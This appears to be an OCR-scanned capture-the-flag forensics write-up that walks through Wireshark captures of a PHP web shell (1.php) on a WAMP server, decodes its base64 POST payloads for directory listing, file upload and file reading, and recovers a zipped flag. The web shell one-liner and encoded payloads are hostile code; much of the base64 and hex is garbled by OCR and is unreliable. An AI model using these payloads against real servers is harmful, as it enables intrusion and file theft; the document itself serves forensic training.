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M Wireshark - 28 TCP % (tcp.stream eq 1) - 666666.pcapng - |

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 675

aa=fgeval.
(base64_decode($_POST[action]));&action=QGluavozZXQoImRpc3BsYX1fZXIyb31zIiwiMCIpO@BzZXRTdGLtZVosaWlpdCgwKTtAC2VaX21hZ
21jX3F1b3R1c19ydW50aW11KDAPO2VjaG80Ii8%2BfCIp0z skRD1kaXIuYW11KCRTUBVSVKVSHYITQ1IIUFRTRKIMRUSBTUULXSk7allYoJEQOPSIiKSRE
PWRpcmShbWUoJFITRVIWRVIbIIBBVERTVFIBTINMQVRFRCIAKTskUj@ieyRETVXOI jtpZihzdWlzdHI0oJEQSMCWXKSEITi81KXtmb3I1YWNoKHIhbmd1K
CIBIiwiWiIpIGFzZICRMKWImKGlzX2RpcigieyRMfToikSkkUid9InskTHO6Ijt9IFIuPSIcdCI7IHUIKGZ1bmNOaWIuX2v4aaXNecygncGozaxhfz2vez
dpZCcpKT9AcG9zaxhfZ2vecHd1aWQoQHBvc214X2d1dGV1aWQoKSkeIyc7IHVZcj@oJHUpPYR1WyduYW11J1e6QGd1dFojdXIyZWS5eX3VzZXIoKTskuid
9cGhwX3VuYW11KCk7IFIuPSIoeyR1c3J9KSI7cHIpbnQgIFI702VjaG80Inw8LSIpO2RpZSgpOwk3D%3DHTTP/1.1 208 OK

Date: Fri, @8 Dec 2017 11:41:29 GMT

Server: Apache/2.4.23 (Win64) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 104

Keep-Alive: timeout=5, max=10@

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

->|D:/wamp64/www/upload C:D:E: Windows NT DESKTOP-5E59GR7 10.0 build 15063 (Windows 1@) AMDG4A(SYSTEM)|<-POST /
upload/1.php HTTP/1.1

User-Agent: Java/1.8.@ 151

Host: 192.168.43.83

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-Length: 725

aa=fgeval.
(base64_decode($_POST[action]));&action=QGluavozZXQoImRpc3BsYX1fZXIyb31zIiwiMCIpO@BzZXRTdGLtZVosaWlpdCgwKTtAC2VaX21hZ
21jX3F1b3R1c19ydW50aW11KDAPO2VjaG80Ii8%2BfCIp0zskRD1I1YXNINJRFZGVjb2RIKCRFUESTVFsiejEiXSk7JEYIQGOWZIWSkaXIoJEQpO21mKCRG
PT1OVUXMKXt1Y2hvKCIFULIPUjovLyBQYXRoIESvdACBGb3VUZCBPciBObyBQZXItaXNzaWiuISIp0311bHNleyRNPUSVTEW7 JEWOTIVMTDt3aGlsZSgkT
j1AcmVhZGRpcigkRikpeyRQPSRELiTvIidkTjskVD1AZGFOZSgiWS1tLWQgSDppOniMiL EBmakx1bXRpbWUoIFAPKTTAIEUSC3Vic3RyKGIhc2vfy29udm
VydChAZm1sZXB1cm1zKCRQKSWXMCWAKSWENCk7IFI9T1x0@T14kVCAiXHQiLkBmakx1c2167SgkUCkuIlx@Ti4kRS41CiI7aWYoQGlzX2RpcigkUCkpIED
UPSROLiIvIi4kUjtlbHN1ICRMLjokTidkUjtoZWNobyAkTSAkTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZG11KCk7&z1=RDpcd2FtcDY®XHd3
d1x1cGXVYWQ%3IDHTTP/1.1 200 0K

Date: Fri, 88 Dec 2017 11:41:29 GMT

Server: Apache/2.4.23 (Winé4) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 180
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POST /upload/1.php HTTP/1.1 R
User-Agent: Java/1.8.@ 151

Host: 192.168.43.83

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*%; gq=.2

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-Length: 204999

aa=@eval.

(base64_decode($ _POST[fction]));&action=0GluavozZXQoImRpc3BsYX1fZXIyb3IzIiwiMCIpo@BzZXRFdGltZVIsalWlpdCgwKTtAc2vVaxX21hzZ
21jX3F1b3R1c19ydiW50aWliKDApO2V]jaG80oIin%2BTCIp0zskZj1i¥YXNINJRTZGVjb2R1KCRTUEITVFsiejEiXSk7IGMAOIFOQT 1NUWY J6M1iJIdOyRJPXNG
c19yZXBsYWN1KCIcciIsTiffsJGMpOyRjPXNGCc19yZXBsYWNIKCIcbiTsTiTsIGMpOyRigWYOTi17ZmoyKCRpPTA7IGk8C3RybGVUKCRKTskassoMikky
nvmLj11lcmxkZWNvZGUoIiURLnN1YnNOcigkYywkaSwyKSk7ZWNobyhAZndyaXR1IKGZvo@WuKCRMLCI3T1ksIGI1Zik%2FIJEIOiTwIik702VjaG80Ilnws
LSIpOZRpZSngw%BD%BD%Z =RDpcd2FtcDY®XHd3d1x1cGxvYWRCNJY2Ni5qcGe%3D&z2=FFD8FFEO@O104A464946000101010078007 30000F FDBOO4
300010101018101018101 1010101010101010101010101018101010101010T01010101010101010101010101010101010101010101010101
9lelelelelolelFFDBe04301010101010101010101010101010101010161010101010101010101010101010101010101010101010101010161010
1910191010101010101010101€101010101FFCEE01108013901E203012200021101031101FFC4001F000001050101010101010000000000000000
0102030405060703090A0BFFCA00B51000020103030204083050504040000017D01020300041105122131410613516107227114328191A1082342B
1C11552D1F02433627282090A161718191A25262728292A3435363738393A434445464748494A535455565758595A636465666768696A73747576
7778797A838485868788898A92939495969798999AA2A3AAA5A6A7A8A9AAB2B3BAB5B6B7B8BOBAC2C3CAC5CHC7CBCICAD2D3DADSD6D7DEDODAELE
2E3EAESEGE/ESEOEAF1IF2F3FAFSFOF/FBFOFAFFC4001F01000301010101010101681010000000000000102030405060708090ACBFFC480B5110002
01020404030407050404000102770001020311040521310861241510761711322328108144291A1B1C109233352F0156272D18A162434E125F1171
8191A262728292A35363738393A434445464748494A535455565758595A636465666768696A737475767778797A82838485868788898A92939495
969798999AA2A3AAA5ABA7ABASAAB2B3BAB5B6B7BBBOBAC2C3CACS5C6CT7C8CACAD2D3DADSD6D7DBDODAE2E3EAESEGE7EBESEAF2F3FAFSFOF7FBFOF
AFFDARORCO3010002110311003FOOFC18823DB907E6248121106493F86143D914E012BCF5E30056C4310192E7DOCCAREFFC204/8E2BBDFFROFDBF
352DA3DBBOAFO769F2C1FFO0964839699CF3866C9C11CF719E33AD6F1B7C840EBO30AB71C672D7327BOC1DISEC@632179FFASABCT5F376FFO02FB
SDFAD9BEG65D66EDFES56D79EFADBB3DOAB5BEAACOSFB6OD5455EDC28724C9C703C0D238D89FC30ALF523AE3DAFE539D88632E4EEQ13080CAS57/FESSBC
5FC31A7FD34933F377E7DCD54B78F714DAGBRO711038F9DC7DFODFFD95E7O3FAGEADS8101D8A83702FF20FFOED3779187FCF34391CF5F539AF568
C36EFDF/BAD36F5BBDEBESF146DE3D79FADDAFBAFA2FO3D1EFAZB35B4657B90A6428036314F /C5BC1F967CC7DDCF/391D@B1C6CDBAGDOBB7GA429
2BO9FF963177918FFO@OCFA7E3033BB8C6324A8AABO20551D24F9B1EF7336781D4131A13C738C7BB606BDBCA06AB32FFR030DF8EB34BD5635C7F021
C671DBAGCO435EAS28EDESGFFER8/D3F357B745A42FE4A566B5F 3EFADBG56B3F5B5SBAECDABDAG5BE/8CFCE5540620B421B811A1FED7327FBA7@36E
AFS5EA7DDAAD7B78F732141F2AFFAS56EE73FBCB993BACHD2573C63D81354E14C96DDF32EESF39971FBC9@6365BA5D72A300311C71E8A2B6A35392
1B19E3CE65FE1S1F/72DA3C/4ECB1BOFAC7 3F74E7DBAL1DBAED7B6S/DEEEAADD3E1IB69750478D5A5ABDO6FA/E7E6FABEEBDOFADSCEDIB7@AOF9047F3
@DC7C956E3CD9070F3B8FEEASFBBBBD30790D5A7OC61408079997C2E7ADCCFDOBOCOEG38B27@3EEFASO59B15E24DBB830DBDBA79CA7FCB284E36C
©8OE/E/7380D9FALCEL18D694319272C446760DDDABBY80F0101EF2CBO9C63A9CF62C71D96D52D36DBB256F5B7CF6B59E91AB9F@DDEBAESBDAEFEFBD
6775BEFBADEF7ABDEA76B3146A796CBAB7191DADCDCY65F689339EA3D7A30AD2452CA863B81606661FF2DASFE18131D634E99E871C7FO5578D189
PO61095C8E9FEBDOFOESB8FFOEB27FDFA4739C7231A50AE31B1761DA7COGDD228BFBE7/7E9991F1F29FCBO36D633F5BEB6DB/DEBBEBEDE7D1DOFC53
B1DAD6FCB5F77B2E8F5D34D2F1D234D132A80AE1B9191F6865C7CEF91ESDACA79000CABDBE383D768274228FEF997ESF957CF2BFCA8BFC96B1AE9
92061B1C7639C1CD681/7E68DI3E5C026DD58E3681FEB2EESE31938F97/FAEO569449911845DDCOF2036017/FE3BAS472768C1DBEBESBE3SBEDBACHSEY
EASF7D96BFD6AEFDE7ASC6EBFOFD2FDED6ABD15BABAA7EFCF1AS25B71F2C8502523FESDEGE36DBCYCOFDECIFCA@7AF3D58D68C719C8C811B6C191
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solve.php

<?php
print(base64 decode(urldecode("
RDpcd2FtcDYOXHd3d1x1cGxvYWRCNjY2Ni5qcGe%3D")) ) ;
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@ Wireshark - iB HTTP i (tcp.stream eq 9) - 666666.pcapng - O

UPSROLiIvIi4kujtlbHNIICRMLjokTi4kUjtozZWNobyAkTSAKTDEAY2xvc2VkaXIoJEYp0307ZIWNobygifDwtIik7ZG11KCk7&z1=-RDpcd2FtcDY@XHd3
d1x1cGXVYWRCHTTP/1.1 200 OK

Date: Fri, @8 Dec 2017 11:42:27 GMT

Server: Apache/2.4.23 (Win64) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 221

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

>/ 2017-12-08 11:42:11 (<} Q777
oolf 2017-12-68 11:39:10 4896 @777
1.php 2017-12-08 11:33:16 33 0666
6666.jpg 2017-12-88 11:42:11 102226 ©666
flag.txt 2017-12-88 11:35:29 17 0666
hello.zip 2017-12-88 ©9:32:36 224 0666

|<-POST /fupload/1.php HTTP/1.1

User-Agent: Java/1.8.8 151

Host: 192.168.43.83

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 371

aa=@eval.

(base64 _decode($_POST[action]));&action=QGluav9zzXQoImRpc3BsYX1fZXIyb31zIiwiMCIpoeBzZXRfdGltzvosaWlpdCgwKTtAC2vVexX21hZ
21jX3F1b3R1c19ydW50aW11lKDApO2V]aGB80Ii0%2BTCIp0zskRj11YXNINJRTFZGV]Jb2RIKCRTUEOTVFsieJEIXSk7IFA9QGZVCGVUKCRGLCIYIik7ZIWNo
byhAZnJ1YWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk702V]jaG80Inw8LSIpO2RpZSgp0Ow#%3D%3D&z1=RDpcd2FtcDY@XHd3d1x1cGxvYWRca
GVsbG8uemlwHTTP/1.1 280 OK

Date: Fri, @8 Dec 2017 11:42:31 GMT

Server: Apache/2.4.23 (Win64) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 238

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive




Content-Type: text/html; charset=UTF-8

> PKe i [ ool ooflooocooc FIEE BT cooo - €55 0 0o o BBV o o TR 0o oBo o5 o 0=cT o o Do o[BS HMRs o Focoocoococ oo ofloo
{oococ Boocoooo coooooc flag.txt

2cda sof@oc S@o@oo 2@FDncMRoccococacs Zooolooooc well,you need passwd!.|<-
7T FEW S 7 AR A 5 e

Bl — T LAE EIfE T —4 hello.zip

LHE Luil SEILULH 1IU WIEW LW 1UUIS CIUELL FiCiCicILes LISt
4pr solve.php
<?php
print(base64 decode(urldecode("QGluaV9zZXQoImRpc3BsYX1fZXJyb3Jz
IiwiMCIp0BBzZXRfdGltZV9saWlpdCgwKTtAc2VOX21hZ21jX3F1b3R1c19ydW5
©aW1l1lKDAp0O2VjaG80Ii0%2BfCIp0zskRJ1iYXNINJRFZGVjb2R1KCRTUE9TVFsi
eJEiXSk7IFA9QGZvcGVUKCRGLCIYyIik7ZWNobyhAZnJ1YWQoJFAsZmlsZXNpemU
0JEYpKSk7QGZjbG9zZSgkUCk702VjaG80Inw8LSIpO2RpZSgpOw%3D%3D&z1=RD
pcd2FtcDYOXHd3d1x1cGxvYWRcaGVsbG8uemlw™)));

@ini_set("display errors","0");@set_time limit(@);@set_magic_quotes runtime(9);
echo("->|");;$F=base64 decode($ POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,fi
lesize($F)));@fFclose($P);;echo("|<-");die(); ©D:\wamp64\www\upload\hello.
zip[Finished-in-0.1s]

HULKECE Hzip R A4 flag. bt G 7 B H Y

aa=(eval.

(base64 _decode($ POST[action]));&action=QGluavozZXQoImRpc3BsYX1fZXIyb3JzIiwiMCIpO@BzZXRTdGltZVIsaWlpdCgwkKTtAC2veX21hZ
21jX3F1b3R1c19ydW5@all1KDAPO2YjaG80I10%2BTCIp0zskRJ11IYXNINRTZGYjb2RIKCRTUEITVFsieJEIXSk7IFA9QGZVCGVUKCRGLCIYIik7ZWNo
byhAZnJ1YWQoJFAsZmlsZXNpemUoJEYpKSk7QGZ jbGozZSgkUCk702VjaG80Inw8LSIpO2RpZSgpOws3D%3D&z1=RDpcd2FtcDY@XHd3d1x1cGxvYWRca
GVsbGBuemlwHTTP/1.1 200 OK

Date: Fri, @8 Dec 2017 11:42:31 GMT

Server: Apache/2.4.23 (Wine4) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 230

Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

> PKe i (oo coca(lccacaac flag.txtC...... cS...J..Ea.v....BefK..2%..%..,..=.0..1p..p46.PK..? s uiuinnn, (0o o ofile o o
{coooc Bcoocooc oconooos flag.txt
50dlo oo[foc SEoDoo B[l oH&cooncncooc 00 0fc0ooc well,you need passwd!.|<-
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fi# & R 45 6045 Blflag

& 40 bytes plain text .. 08 December 20...

ypted at

Open ~ B flag.bxt

flag{30pWdJI-IP6FzK-koCMAK-VkfWBq-75Un2z}
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